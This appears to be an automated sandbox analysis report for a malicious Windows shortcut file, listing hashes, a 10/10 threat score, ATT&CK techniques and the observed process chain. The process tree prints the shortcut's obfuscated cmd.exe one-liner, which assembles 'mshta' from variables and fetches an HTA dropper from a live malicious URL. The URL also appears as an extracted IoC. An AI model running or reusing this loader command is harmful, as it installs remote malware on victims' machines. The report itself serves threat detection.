bf5dad97c6e4a326215cab22c420347de4f61087073f76ef6fd4d1e6f24b155f

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

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General

Target
DOC-QQBRWF.lnk
Size 1KB
Sample260804-kdx6mavgnb
SHA256 bf5dad97c6e4a326215cab22c420347de4f61087073f76ef6fd4d1e6f24b155f
MD5 676f3b5236348a05759833df2e8926a0
SHA1 36c17a14e3d517ea026c5b0de0b5c6a5005fe765
SHA512 994316bcb1768ea91ee121c85764466a6bb53bf0cd0bf546efe96d9cfff614874651894a44cce515606c2a24b7898afd03c184041bd786372fb7ecf3981514c7
TLSH
T13B317B503FED0624F3F39F7794BB572485BFB8A98E20CA2D0141464C5072A15E27AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4884	cmd.exe
5464	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 5464	4884	cmd.exe	90
PID 5464 wrote to memory of 4100	5464	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QQBRWF.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4884
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set PTM=msh&&set jvke=ta&&start "" !PTM!!jvke! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads